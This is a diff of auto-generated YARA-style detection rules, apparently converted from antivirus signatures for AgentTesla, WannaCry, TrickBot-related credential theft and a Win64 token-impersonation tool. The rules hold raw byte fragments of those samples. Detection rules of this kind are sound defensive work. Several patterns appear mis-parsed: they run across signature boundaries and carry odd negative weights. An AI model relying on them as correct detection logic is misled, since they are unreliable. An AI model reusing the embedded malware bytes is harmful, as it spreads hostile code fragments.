13 81 01 61 64 72 65 73 73 65 72 69 6e 67 65 72 6e 65 2e 6a 70 67 00 00 78 1a 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 34 30 34 32 33 21 4d 54 42 } //27765 + $a_74_5 = {6e 67 69 6e 65 2e 45 6e 67 69 6e 65 01 00 07 01 67 65 74 5f 58 61 72 01 00 07 01 67 65 74 5f 59 61 72 01 00 07 01 67 65 74 5f 5a 61 72 01 00 05 01 63 65 76 61 72 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 20 01 4c 6f 73 74 45 6e 67 69 6e 65 2e 52 65 73 6f 75 72 63 65 33 32 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1a 01 4c 6f 73 74 45 } //28492 + $a_6e_6 = {2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 29 01 4c 6f 73 74 45 6e 67 69 6e 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 01 24 36 66 62 34 66 38 31 65 2d 34 61 65 32 2d 34 61 65 31 2d 62 63 63 35 2d 64 61 66 64 61 64 39 66 65 31 34 66 00 00 78 } //26478 + condition: + ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*29441+(#a_65_3 & 1)*27765+(#a_74_5 & 1)*28492+(#a_6e_6 & 1)*26478) >=9 + +} +rule _InfrastructureShared_18043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -200685,7 +214110,7 @@ rule _InfrastructureShared_16930{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26369+(#a_67_2 & 1)*17780+(#a_32_3 & 1)*19535+(#a_6c_4 & 1)*23553+(#a_69_5 & 1)*25959+(#a_61_6 & 1)*28530+(#a_6f_7 & 1)*28793+(#a_74_8 & 1)*20825+(#a_73_9 & 1)*22066) >=10 } -rule _InfrastructureShared_16931{ +rule _InfrastructureShared_18044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -200704,7 +214129,7 @@ rule _InfrastructureShared_16931{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25965+(#a_61_2 & 1)*385+(#a_6e_3 & 1)*27996+(#a_31_4 & 1)*16715+(#a_6c_5 & 1)*385+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_1b_9 & 1)*0) >=10 } -rule _InfrastructureShared_16932{ +rule _InfrastructureShared_18045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -200724,7 +214149,7 @@ rule _InfrastructureShared_16932{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_65_2 & 1)*25892+(#a_56_3 & 1)*-32496+(#a_74_4 & 1)*20825+(#a_5f_5 & 1)*25971+(#a_01_6 & 1)*257+(#a_01_7 & 1)*257+(#a_04_8 & 1)*257+(#a_54_9 & 1)*13348+(#a_03_10 & 1)*-32703) >=12 } -rule _InfrastructureShared_16933{ +rule _InfrastructureShared_18046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -200734,7 +214159,7 @@ rule _InfrastructureShared_16933{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16934{ +rule _InfrastructureShared_18047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -200746,7 +214171,7 @@ rule _InfrastructureShared_16934{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*80+(#a_00_3 & 1)*116) >=1 } -rule _InfrastructureShared_16935{ +rule _InfrastructureShared_18048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -200760,7 +214185,7 @@ rule _InfrastructureShared_16935{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*108+(#a_30_2 & 1)*27905+(#a_4c_3 & 1)*14848+(#a_00_5 & 1)*108) >=1 } -rule _InfrastructureShared_16936{ +rule _InfrastructureShared_18049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -200775,7 +214200,7 @@ rule _InfrastructureShared_16936{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1+(#a_1b_5 & 1)*0) >=2 } -rule _InfrastructureShared_16937{ +rule _InfrastructureShared_18050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -200791,7 +214216,7 @@ rule _InfrastructureShared_16937{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26950+(#a_6e_2 & 1)*28783+(#a_6c_3 & 1)*28500+(#a_00_4 & 1)*80+(#a_00_5 & 1)*82+(#a_00_7 & 1)*103) >=2 } -rule _InfrastructureShared_16938{ +rule _InfrastructureShared_18051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -200803,19 +214228,30 @@ rule _InfrastructureShared_16938{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 } -rule _InfrastructureShared_16939{ +rule _InfrastructureShared_18052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_46_0 = {59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 4d 41 4c 5f 54 72 69 63 6b 62 6f 74 5f 4f 63 74 31 39 5f 31 00 01 00 34 03 43 65 6c 65 73 74 6f 72 40 68 6f 74 6d 61 69 6c 2e 63 6f 6d 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 } //16675 $a_2d_2 = {41 2d 5a 30 2d 39 90 00 01 00 2c 03 5c 74 78 74 50 61 73 73 77 6f 72 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 58 03 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 2c 00 20 00 74 } //2305 - $a_00_4 = {67 00 61 00 69 00 6e 00 21 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 0b 01 78 c4 40 00 ff ff ff ff b4 47 41 01 00 10 01 9b 68 b2 34 46 00 eb 14 8d 55 e4 8d 45 e8 52 50 00 00 78 1b 01 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 } //32 + $a_00_4 = {67 00 61 00 69 00 6e 00 21 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 0b 01 78 c4 40 00 ff ff ff ff b4 47 41 01 00 10 01 9b 68 b2 34 46 00 eb 14 8d 55 e4 8d 45 e8 52 50 00 00 78 1b 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 55 } //32 condition: ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_00_4 & 1)*32) >=3 } -rule _InfrastructureShared_16940{ +rule _InfrastructureShared_18053{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {50 55 41 3a 4f 6e 65 50 6c 61 74 66 6f 72 6d 5f 42 69 74 43 6f 6d 65 74 5f 42 75 6e 64 6c 65 72 00 01 00 5a 01 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 2e 00 6b 00 6f 00 63 00 68 00 61 00 76 00 61 00 2e 00 63 00 6f 00 6d 00 2f } //16675 啐㩁湏健慬晴牯彭楂䍴浯瑥䉟湵汤牥Ā娀持漀渀琀爀漀氀⸀欀漀挀栀愀瘀愀⸀挀漀洀⼀ + $a_00_2 = {70 00 69 00 2f 00 63 00 6c 00 69 00 63 00 6b 00 3f 00 63 00 61 00 6d 00 70 00 61 00 69 00 67 00 6e 00 5f 00 69 00 64 00 3d 00 01 00 1c 01 42 00 69 00 74 00 43 00 6f 00 6d 00 65 00 74 00 5f 00 50 00 75 00 62 00 5f 00 42 00 01 00 20 01 63 00 6c 00 6f 00 75 00 64 00 66 00 72 00 6f 00 6e 00 74 00 2e } //47 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*47) >=4 + +} +rule _InfrastructureShared_18054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -200828,7 +214264,7 @@ rule _InfrastructureShared_16940{ ((#a_54_0 & 1)*18467+(#a_7e_1 & 1)*20303+(#a_7e_2 & 1)*12926+(#a_32_3 & 1)*13622) >=4 } -rule _InfrastructureShared_16941{ +rule _InfrastructureShared_18055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -200841,7 +214277,7 @@ rule _InfrastructureShared_16941{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28632+(#a_00_2 & 1)*2560+(#a_01_3 & 1)*5634) >=4 } -rule _InfrastructureShared_16942{ +rule _InfrastructureShared_18056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -200856,7 +214292,7 @@ rule _InfrastructureShared_16942{ ((#a_4c_0 & 1)*21539+(#a_71_1 & 1)*32100+(#a_74_2 & 1)*12849+(#a_67_3 & 1)*26980+(#a_57_4 & 1)*28257+(#a_67_5 & 1)*25966) >=4 } -rule _InfrastructureShared_16943{ +rule _InfrastructureShared_18057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -200873,7 +214309,7 @@ rule _InfrastructureShared_16943{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_80_6 & 1)*1+(#a_1b_7 & 1)*0) >=4 } -rule _InfrastructureShared_16944{ +rule _InfrastructureShared_18058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -200886,7 +214322,7 @@ rule _InfrastructureShared_16944{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*1809+(#a_6c_2 & 1)*28001+(#a_6f_3 & 1)*12108) >=5 } -rule _InfrastructureShared_16945{ +rule _InfrastructureShared_18059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -200900,7 +214336,7 @@ rule _InfrastructureShared_16945{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28632+(#a_90_2 & 1)*2560+(#a_63_3 & 1)*30063+(#a_44_4 & 1)*8266) >=5 } -rule _InfrastructureShared_16946{ +rule _InfrastructureShared_18060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -200916,7 +214352,7 @@ rule _InfrastructureShared_16946{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29288+(#a_4e_2 & 1)*18255+(#a_4c_3 & 1)*21325+(#a_65_4 & 1)*11884+(#a_65_5 & 1)*29301+(#a_42_6 & 1)*21038) >=5 } -rule _InfrastructureShared_16947{ +rule _InfrastructureShared_18061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -200934,7 +214370,7 @@ rule _InfrastructureShared_16947{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_2e_2 & 1)*4352+(#a_2e_3 & 1)*25705+(#a_69_4 & 1)*24947+(#a_75_5 & 1)*24912+(#a_41_6 & 1)*8448+(#a_00_7 & 1)*75+(#a_66_8 & 1)*384) >=6 } -rule _InfrastructureShared_16948{ +rule _InfrastructureShared_18062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -200950,7 +214386,7 @@ rule _InfrastructureShared_16948{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*30063+(#a_6e_2 & 1)*24944+(#a_01_3 & 1)*4608+(#a_66_4 & 1)*384+(#a_80_5 & 1)*-100+(#a_1b_6 & 1)*0) >=7 } -rule _InfrastructureShared_16949{ +rule _InfrastructureShared_18063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -200969,7 +214405,7 @@ rule _InfrastructureShared_16949{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25958+(#a_6e_2 & 1)*26996+(#a_49_3 & 1)*16686+(#a_50_4 & 1)*20560+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=7 } -rule _InfrastructureShared_16950{ +rule _InfrastructureShared_18064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -200984,7 +214420,7 @@ rule _InfrastructureShared_16950{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*17685+(#a_52_4 & 1)*21320+(#a_69_5 & 1)*27241+(#a_41_6 & 1)*29185+(#a_4d_7 & 1)*29285) >=9 } -rule _InfrastructureShared_16951{ +rule _InfrastructureShared_18065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -201000,7 +214436,7 @@ rule _InfrastructureShared_16951{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*27235+(#a_6f_2 & 1)*25665+(#a_66_5 & 1)*28492+(#a_74_6 & 1)*284+(#a_4e_7 & 1)*12033+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_16952{ +rule _InfrastructureShared_18066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -201018,7 +214454,7 @@ rule _InfrastructureShared_16952{ ((#a_77_0 & 1)*19491+(#a_65_1 & 1)*29285+(#a_70_2 & 1)*21340+(#a_3a_3 & 1)*21587+(#a_65_4 & 1)*25701+(#a_6b_5 & 1)*24936+(#a_31_6 & 1)*14384+(#a_65_7 & 1)*24428+(#a_00_8 & 1)*112) >=9 } -rule _InfrastructureShared_16953{ +rule _InfrastructureShared_18067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -201036,7 +214472,7 @@ rule _InfrastructureShared_16953{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25970+(#a_73_2 & 1)*28261+(#a_49_3 & 1)*19770+(#a_01_4 & 1)*25441+(#a_00_6 & 1)*112+(#a_00_7 & 1)*97+(#a_69_8 & 1)*27905+(#a_01_9 & 1)*27971) >=10 } -rule _InfrastructureShared_16954{ +rule _InfrastructureShared_18068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -201057,7 +214493,7 @@ rule _InfrastructureShared_16954{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24428+(#a_00_2 & 1)*112+(#a_00_3 & 1)*111+(#a_70_4 & 1)*21620+(#a_6e_5 & 1)*28515+(#a_67_6 & 1)*28244+(#a_80_7 & 1)*5+(#a_80_8 & 1)*5+(#a_1b_9 & 1)*0+(#a_01_10 & 1)*9472+(#a_33_11 & 1)*11891) >=12 } -rule _InfrastructureShared_16955{ +rule _InfrastructureShared_18069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -201076,7 +214512,7 @@ rule _InfrastructureShared_16955{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29486+(#a_69_2 & 1)*27905+(#a_65_3 & 1)*21551+(#a_4d_4 & 1)*16721+(#a_41_5 & 1)*16705+(#a_00_7 & 1)*7032+(#a_48_9 & 1)*8448+(#a_09_10 & 1)*583+(#a_08_12 & 1)*23808) >=13 } -rule _InfrastructureShared_16956{ +rule _InfrastructureShared_18070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -201091,7 +214527,7 @@ rule _InfrastructureShared_16956{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27733+(#a_41_2 & 1)*16705+(#a_41_3 & 1)*16705+(#a_20_5 & 1)*1885+(#a_02_6 & 1)*28509) >=15 } -rule _InfrastructureShared_16957{ +rule _InfrastructureShared_18071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -201105,7 +214541,7 @@ rule _InfrastructureShared_16957{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32+(#a_90_2 & 1)*-11683+(#a_72_3 & 1)*29801+(#a_01_4 & 1)*-26436) >=18 } -rule _InfrastructureShared_16958{ +rule _InfrastructureShared_18072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 15 00 04 00 21 " @@ -201118,7 +214554,7 @@ rule _InfrastructureShared_16958{ ((#a_46_0 & 1)*16675+(#a_98_1 & 1)*13060+(#a_1b_2 & 1)*0+(#a_00_3 & 1)*61) >=21 } -rule _InfrastructureShared_16959{ +rule _InfrastructureShared_18073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -201129,7 +214565,7 @@ rule _InfrastructureShared_16959{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*109) >=300 } -rule _InfrastructureShared_16960{ +rule _InfrastructureShared_18074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -201148,7 +214584,7 @@ rule _InfrastructureShared_16960{ ((#a_54_0 & 1)*18467+(#a_aa_1 & 1)*-851+(#a_76_2 & 1)*17199+(#a_00_3 & 1)*119+(#a_00_5 & 1)*78+(#a_00_6 & 1)*97+(#a_00_7 & 1)*101+(#a_23_8 & 1)*3+(#a_5c_10 & 1)*12544+(#a_6f_11 & 1)*28773) >=1 } -rule _InfrastructureShared_16961{ +rule _InfrastructureShared_18075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -201159,7 +214595,7 @@ rule _InfrastructureShared_16961{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116) >=2 } -rule _InfrastructureShared_16962{ +rule _InfrastructureShared_18076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -201174,7 +214610,7 @@ rule _InfrastructureShared_16962{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*67+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_1c_4 & 1)*0+(#a_00_6 & 1)*97) >=2 } -rule _InfrastructureShared_16963{ +rule _InfrastructureShared_18077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -201185,7 +214621,7 @@ rule _InfrastructureShared_16963{ ((#a_54_0 & 1)*18467+(#a_5c_2 & 1)*-32768) >=3 } -rule _InfrastructureShared_16964{ +rule _InfrastructureShared_18078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -201197,7 +214633,7 @@ rule _InfrastructureShared_16964{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*5729+(#a_03_2 & 1)*1553) >=3 } -rule _InfrastructureShared_16965{ +rule _InfrastructureShared_18079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -201208,7 +214644,7 @@ rule _InfrastructureShared_16965{ ((#a_46_0 & 1)*16675+(#a_41_2 & 1)*25927) >=3 } -rule _InfrastructureShared_16966{ +rule _InfrastructureShared_18080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -201222,7 +214658,7 @@ rule _InfrastructureShared_16966{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*115+(#a_00_3 & 1)*78+(#a_61_4 & 1)*12082+(#a_00_5 & 1)*1) >=3 } -rule _InfrastructureShared_16967{ +rule _InfrastructureShared_18081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0d 00 21 " @@ -201238,13 +214674,13 @@ rule _InfrastructureShared_16967{ $a_01_8 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 } //30720 ЀЀЀ℀䠣呓㩒牔橯湡䴺䥓⽌杁 $a_54_9 = {73 6c 61 2e 53 48 57 21 4d 54 42 00 01 00 5a 03 00 28 22 00 00 06 72 5a 07 00 70 72 5e 07 00 70 6f 90 01 01 00 00 0a 28 90 01 01 00 00 06 0a 06 72 64 07 00 70 72 68 07 00 70 6f 90 01 01 00 00 0a 72 6a 07 00 70 72 68 07 00 70 6f 90 01 01 00 00 0a 0b 07 6f 90 01 01 00 00 0a 18 5b 8d 54 00 00 01 0c 16 13 04 2b 1f 90 00 01 00 32 03 00 08 11 04 07 11 } //28261 $a_18_10 = {90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a d2 9c 00 11 04 17 58 13 04 11 04 08 8e 69 fe 04 13 05 11 05 2d d4 90 00 01 00 21 81 01 42 61 69 51 75 61 6e 4c 79 42 61 6e 48 61 6e 67 2e 4d 6f 6c 64 56 43 2e 72 65 73 6f 75 72 63 65 73 01 00 2f 81 01 42 61 69 51 75 61 6e 4c } //6148 - $a_6e_11 = {61 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 1c 01 00 04 00 04 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 57 61 6e 6e 61 43 72 79 2e 41 42 21 4d 54 42 00 01 00 31 81 01 53 6f 66 74 77 61 72 65 5c 4d 69 } //17017 - $a_73_12 = {66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 4f 6e 63 65 01 00 12 81 01 77 65 78 74 72 61 63 74 5f 63 6c 65 61 6e 75 70 25 64 01 00 11 81 01 77 61 6e 6e 61 63 72 79 49 6e 73 74 61 6c 6c 65 72 01 00 2d 81 01 5c 43 6f 6e 74 72 6f 6c 5c 53 65 73 73 69 6f 6e 20 4d 61 6e 61 67 65 72 5c 46 69 6c } //29283 + $a_6e_11 = {61 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 1c 01 00 04 00 04 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 4e 74 6f 6b 49 6d 70 65 72 2e 41 00 01 00 3c 03 41 b9 30 00 00 00 90 01 04 48 89 44 24 20 33 d2 48 c7 c1 ff ff ff ff } //17017 + $a_05_12 = {8b } //-28417 condition: - ((#a_77_0 & 1)*16675+(#a_6e_1 & 1)*27905+(#a_6e_2 & 1)*26988+(#a_00_3 & 1)*21581+(#a_11_4 & 1)*34+(#a_08_5 & 1)*4874+(#a_90_6 & 1)*4127+(#a_6d_7 & 1)*19822+(#a_01_8 & 1)*30720+(#a_54_9 & 1)*28261+(#a_18_10 & 1)*6148+(#a_6e_11 & 1)*17017+(#a_73_12 & 1)*29283) >=3 + ((#a_77_0 & 1)*16675+(#a_6e_1 & 1)*27905+(#a_6e_2 & 1)*26988+(#a_00_3 & 1)*21581+(#a_11_4 & 1)*34+(#a_08_5 & 1)*4874+(#a_90_6 & 1)*4127+(#a_6d_7 & 1)*19822+(#a_01_8 & 1)*30720+(#a_54_9 & 1)*28261+(#a_18_10 & 1)*6148+(#a_6e_11 & 1)*17017+(#a_05_12 & 1)*-28417) >=3 } -rule _InfrastructureShared_16968{ +rule _InfrastructureShared_18082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -201257,20 +214693,34 @@ rule _InfrastructureShared_16968{ ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*0+(#a_11_2 & 1)*34+(#a_08_3 & 1)*4874) >=4 } -rule _InfrastructureShared_16969{ +rule _InfrastructureShared_18083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 48 57 21 4d 54 42 00 01 00 5a 03 00 28 22 00 00 06 72 5a 07 00 70 72 5e 07 00 70 6f 90 01 01 00 00 0a 28 90 01 01 00 00 06 0a 06 72 64 07 00 70 72 68 07 00 70 6f 90 01 01 00 } //18467 $a_6a_1 = {00 70 72 68 07 00 70 6f 90 01 01 00 00 0a 0b 07 6f 90 01 01 00 00 0a 18 5b 8d 54 00 00 01 0c 16 13 04 2b 1f 90 00 01 00 32 03 00 08 11 04 07 11 04 18 5a 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a d2 9c 00 11 04 17 58 13 04 11 04 08 8e 69 fe 04 13 05 11 05 2d d4 90 00 01 00 21 81 01 42 61 69 51 75 61 6e 4c 79 42 61 6e 48 61 6e 67 2e } //2560 - $a_64_2 = {43 2e 72 65 73 6f 75 72 63 65 73 01 00 2f 81 01 42 61 69 51 75 61 6e 4c 79 42 61 6e 48 61 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 1c 01 00 04 00 04 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 57 61 6e 6e 61 43 72 79 2e 41 42 21 4d 54 } //28493 - $a_00_3 = {31 } //66 1 + $a_64_2 = {43 2e 72 65 73 6f 75 72 63 65 73 01 00 2f 81 01 42 61 69 51 75 61 6e 4c 79 42 61 6e 48 61 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 1c 01 00 04 00 04 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 4e 74 6f 6b 49 6d 70 65 72 2e 41 00 01 00 3c 03 41 b9 30 00 00 } //28493 + $a_04_3 = {48 } //-28672 H condition: - ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*2560+(#a_64_2 & 1)*28493+(#a_00_3 & 1)*66) >=4 + ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*2560+(#a_64_2 & 1)*28493+(#a_04_3 & 1)*-28672) >=4 } -rule _InfrastructureShared_16970{ +rule _InfrastructureShared_18084{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 4e 74 6f 6b 49 6d 70 65 72 2e 41 00 01 00 3c 03 41 b9 30 00 00 00 90 01 04 48 89 44 24 20 33 d2 48 c7 c1 ff ff ff ff ff 90 01 05 8b 4d 27 e8 90 01 04 45 33 ed 90 01 04 41 b9 08 00 00 00 4c 89 6d df ba 05 00 00 } //21283 + $a_c8_1 = {00 01 00 32 03 48 8b 44 24 30 8b fa 48 89 4c 24 28 41 b9 10 00 00 00 48 89 4c 24 20 33 d2 48 8b cb 48 89 44 24 3c c7 44 24 44 02 00 00 00 ff 90 01 05 3d 06 01 90 00 01 00 22 03 48 89 44 24 28 45 33 c9 4c 8b c6 89 7c 24 20 8b d3 48 c7 44 24 38 00 00 00 00 ff 90 01 05 85 c0 90 00 01 00 2c 03 48 8b 4d e7 4c 8b c7 49 8b d6 e8 90 01 04 44 8b 4d ef 90 01 08 48 89 44 24 20 90 01 04 48 c7 c1 ff ff ff ff ff 90 01 05 85 c0 } //18432 + $a_00_2 = {2c } //144 , + $a_44_3 = {48 48 8b 44 24 60 48 89 44 24 40 89 7c 24 38 89 7c 24 30 48 89 7c 24 28 48 89 7c 24 20 48 89 7c 24 68 48 89 7c 24 70 ff 00 00 78 1c 01 00 04 00 04 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 57 61 6e 6e 61 43 72 79 2e 41 42 21 4d 54 42 00 01 00 31 81 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //18433 + $a_65_4 = {00 12 81 01 77 65 78 74 72 61 63 74 5f 63 6c 65 61 6e 75 70 25 64 01 00 11 81 01 77 61 6e 6e 61 63 72 79 49 6e 73 74 61 